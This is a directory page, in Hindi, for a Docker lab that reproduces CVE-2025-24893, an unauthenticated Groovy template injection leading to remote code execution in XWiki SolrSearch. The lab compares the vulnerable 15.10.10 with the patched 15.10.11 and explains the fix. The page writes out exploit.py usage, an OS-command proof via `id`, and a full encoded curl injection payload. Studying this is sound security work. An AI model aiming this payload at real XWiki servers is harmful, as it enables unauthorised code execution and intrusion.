Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-24893_Analysis — CVE-2025-24893 को पुनरुत्पादित करने वाली एक स्व-निहित Docker लैब, जो XWiki SolrSearch में एक बिना प्रमाणीकरण वाला SSTI-to-RCE है, और कमजोर बनाम पैच किए गए व्यवहार की तुलना करती है। | Kitploit
उपकरण/GitHubGitHub/mattiacervelli/cve-2025-24893_analysis
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHub
mattiacervelli/cve-2025-24893_analysis

CVE-2025-24893_Analysis

CVE-2025-24893 को पुनरुत्पादित करने वाली एक स्व-निहित Docker लैब, जो XWiki SolrSearch में एक बिना प्रमाणीकरण वाला SSTI-to-RCE है, और कमजोर बनाम पैच किए गए व्यवहार की तुलना करती है।

रिपॉजिटरी देखें
521 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2025-24893 - XWiki SolrSearch SSTI से बिना प्रमाणीकरण के RCE

एक स्व-निहित Docker लैब जो CVE-2025-24893 का पुनरुत्पादन करती है - XWiki के SolrSearch RSS फ़ीड में सर्वर-साइड टेम्पलेट इंजेक्शन (Server-Side Template Injection), जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन की ओर ले जाता है। यह कमजोर संस्करण 15.10.10 और पैच किया गया संस्करण 15.10.11 चलाती है, ताकि एक ही अनुरोध को एक पर सफल और दूसरे पर विफल दिखाया जा सके।

AI उपकरणों के उपयोग पर ध्यान दें। इस परियोजना को तैयार करने में मैंने दो AI सहायकों --- Anthropic का Claude Opus 4.8 और DeepSeek-V4-Flash-0731 --- का सीमित उपयोग किया: दस्तावेज़ीकरण और दृष्टिकोण अनुसंधान के लिए, कोड समीक्षा के लिए, तथा README.md फ़ाइल और LaTeX रिपोर्ट के शब्दों को परिष्कृत करने के लिए। उनका योगदान नगण्य था और यह पूरी तरह से मेरे अपने निर्णयों के अधीन था।

1. पूर्वापेक्षाएँ

  • Docker Engine और Docker Compose v2 (docker compose उपकमांड, पुराना docker-compose बाइनरी नहीं)। रिपोर्ट के लिए docker --version और docker compose version से संस्करण नोट करें।
  • XWiki कंटेनर के लिए लगभग 2 GB खाली RAM (JVM हीप 1 GB पर सेट है), साथ ही MySQL के लिए भी।
  • amd64 और arm64 पर काम करता है (Apple Silicon सहित): बेस इमेज tomcat:9-jre17, , और शुद्ध-Java JDBC ड्राइवर सभी मल्टी-आर्क हैं।
mysql:8.4
  • केवल पहले बिल्ड पर इंटरनेट एक्सेस चाहिए, XWiki WAR और JDBC ड्राइवर डाउनलोड करने के लिए; दोनों चेकसम-सत्यापित हैं।
  • 2. लेआउट

    root@kitploit:~
    cve-2025-24893-xwiki/
    ├── SETUP_GUIDE.md
    ├── README.md
    ├── docker-compose.vuln.yml       # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
    ├── docker-compose.patched.yml    # MySQL 8.4 + XWiki 15.10.11 (patched)
    ├── exploit.py                    # standard-library proof of concept
    ├── figures/
    │   ├── Figure 1.png
    │   ├── Figure 2.png
    │   ├── Figure 3.png
    │   └── Figure 4.png
    ├── mysql/
    │   └── init.sql                  # privileges for the xwiki DB user
    └── xwiki-build/                  # image build, pinned to the exact version by SHA-256
        ├── Dockerfile
        ├── tomcat/
        │   └── setenv.sh
        └── xwiki/
            ├── docker-entrypoint.sh
            └── hibernate.cfg.xml
    

    दोनों स्टैक के बीच एकमात्र अंतर XWiki संस्करण का है। बाकी सब कुछ, जिसमें डेटाबेस इमेज और JDBC ड्राइवर शामिल हैं, एक जैसा है, इसलिए व्यवहार में कोई भी बदलाव केवल फिक्स के कारण है और किसी और चीज़ के कारण नहीं।

    3. भेद्यता दोहराएँ (15.10.10)

    बिल्ड करें और प्रारंभ करें:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml up --build -d
    

    पहला बिल्ड XWiki को डाउनलोड और अनपैक करता है, जिसमें कुछ मिनट लगते हैं। Tomcat द्वारा स्टार्टअप की सूचना देने की प्रतीक्षा करें:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml logs -f xwiki   # wait for "Server startup in ..."
    

    एकमुश्त पहले-बूट सेटअप पूरा करें: http://localhost:8080 खोलें और Distribution Wizard पूरा करें (डिफ़ॉल्ट XWiki Standard फ्लेवर इंस्टॉल करें)। यह SolrSearch UI प्रदान करता है जिसे एक्सप्लॉइट लक्षित करता है। एंडपॉइंट अतिथियों के लिए सुलभ है, इसलिए हमले के लिए स्वयं किसी लॉगिन की आवश्यकता नहीं होती; यह प्रारंभिक सेटअप ही एकमात्र चरण है जिसमें लॉगिन की आवश्यकता होती है।

    एक्सप्लॉइट चलाएँ (बिना प्रमाणीकरण):

    root@kitploit:~
    python3 exploit.py http://localhost:8080
    

    कमजोर स्टैक पर अपेक्षित आउटपुट:

    root@kitploit:~
    [+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
    

    वैकल्पिक रूप से, एक रीड-ओनली कमांड से दिखाएँ कि निष्पादन OS तक पहुँचता है:

    root@kitploit:~
    python3 exploit.py http://localhost:8080 --prove-os
    # [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
    

    वही अनुरोध एक साधारण curl वन-लाइनर के रूप में:

    root@kitploit:~
    curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
    # vulnerable -> prints arith=42
    

    रिपोर्ट के लिए आउटपुट का स्क्रीनशॉट कैप्चर करें, फिर टियर डाउन करें:

    root@kitploit:~
    docker compose -f docker-compose.vuln.yml down          # add -v to also wipe the volumes
    

    4. फिक्स दोहराएँ (15.10.11)

    root@kitploit:~
    docker compose -f docker-compose.patched.yml up --build -d
    docker compose -f docker-compose.patched.yml logs -f xwiki   # wait for "Server startup in ..."
    

    http://localhost:8080 पर Distribution Wizard फिर से पूरा करें, फिर वही एक्सप्लॉइट चलाएँ:

    root@kitploit:~
    python3 exploit.py http://localhost:8080
    

    पैच किए गए स्टैक पर अपेक्षित आउटपुट:

    root@kitploit:~
    [-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
    

    यह स्क्रीनशॉट भी लें, फिर रीसेट करें:

    root@kitploit:~
    docker compose -f docker-compose.patched.yml down -v
    

    फिक्स क्यों काम करता है

    15.10.10 में, फ़ीड-आउटपुट ब्लॉक फ़ीड को एक सादे Velocity एक्सप्रेशन ($xwiki.feed.getFeedOutput($feed, 'rss_2.0')) के रूप में आउटपुट करता है, इसलिए फ़ीड - जो उपयोगकर्ता के खोज टेक्स्ट को प्रतिबिंबित करती है - XWiki की रेंडरिंग पाइपलाइन के माध्यम से वापस भेजी जाती है, जहाँ एक एम्बेडेड {{groovy}} मैक्रो निष्पादित हो जाता है। 15.10.11 में, उस ब्लॉक को एक नए rawResponse मैक्रो (SolrSearchMacros.xml पंक्ति 954; मैक्रो templates/macros.vm में परिभाषित है) के कॉल से बदल दिया गया है। rawResponse कंटेंट टाइप को स्पष्ट रूप से सेट करता है (application/rss+xml), फ़ीड के बाइट्स को $response.writer.print(...) से सीधे रिस्पॉन्स में लिखता है, और किसी भी आगे की रेंडरिंग को रोकने के लिए $xcontext.setFinished(true) को कॉल करता है, ताकि फ़ीड यथावत भेजी जाए और एम्बेडेड {{groovy}} ब्लॉक कभी मूल्यांकित न हो। पैच कमिट 67021db9b8ed26c2236a653269302a86bf01ef40, एडवाइज़री GHSA-rr6p-3pfg-562j। एडवाइज़री एक मैन्युअल वर्कअराउंड भी बताती है: Main.SolrSearchMacros को संपादित करके उसी rawResponse पैटर्न का उपयोग करें, जो बिना अपग्रेड किए सिंक को बंद कर देता है।

    5. नियतिवाद और रीसेट

    • पिन किए गए: XWiki संस्करण (15.10.10 और 15.10.11), WAR और JDBC SHA-256 चेकसम, बेस इमेज tomcat:9-jre17, डेटाबेस mysql:8.4, और पोर्ट 8080।
    • docker compose -f <file> down -v से स्थिति रीसेट करें; अगला up शुरू से पुनः-आरंभ करता है।
    • क्रेडेंशियल्स (xwiki/xwiki, रूट xwiki-root) केवल इस स्थानीय लैब के लिए हैं।
    • दोनों स्टैक अलग-अलग Compose प्रोजेक्ट नामों का उपयोग करते हैं, इसलिए उनके वॉल्यूम कभी टकराते नहीं हैं। दोनों को एक साथ न चलाएँ, क्योंकि दोनों पोर्ट 8080 प्रकाशित करते हैं।

    6. पिन किए गए चेकसम स्वयं सत्यापित करें

    root@kitploit:~
    for V in 15.10.10 15.10.11; do
      curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
      echo "$V  $(sha256sum x.war | cut -d' ' -f1)"
    done; rm -f x.war
    # expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
    #         15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
    
    curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
    echo "connector-j 8.4.0  $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
    # expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
    

    श्रेय

    xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) और mysql/init.sql, XWiki के आधिकारिक बिल्ड https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1) से अनुकूलित या वेंडर किए गए हैं। Dockerfile अपस्ट्रीम इमेज से तीन छोटे, प्रलेखित तरीकों से भिन्न है: (1) XWiki और JDBC संस्करण तथा चेकसम बिल्ड आर्ग्स के रूप में पास किए जाते हैं, इसलिए एक ही फ़ाइल कमजोर और पैच की गई दोनों इमेज बनाती है; (2) एक स्पष्ट chmod +x यह सुनिश्चित करता है कि एंट्रीपॉइंट निष्पादन योग्य है, भले ही फ़ाइलों को अनज़िप या ट्रांसफर करने पर Unix अनुमतियाँ खो जाएँ; और (3) .env फ़ाइल (यहाँ उपयोग नहीं की गई) का संदर्भ देने वाली एक पुरानी अपस्ट्रीम टिप्पणी को सही किया गया। XWiki की कॉपीराइट XWiki Development Team के पास है।

    टूल डाउनलोड करें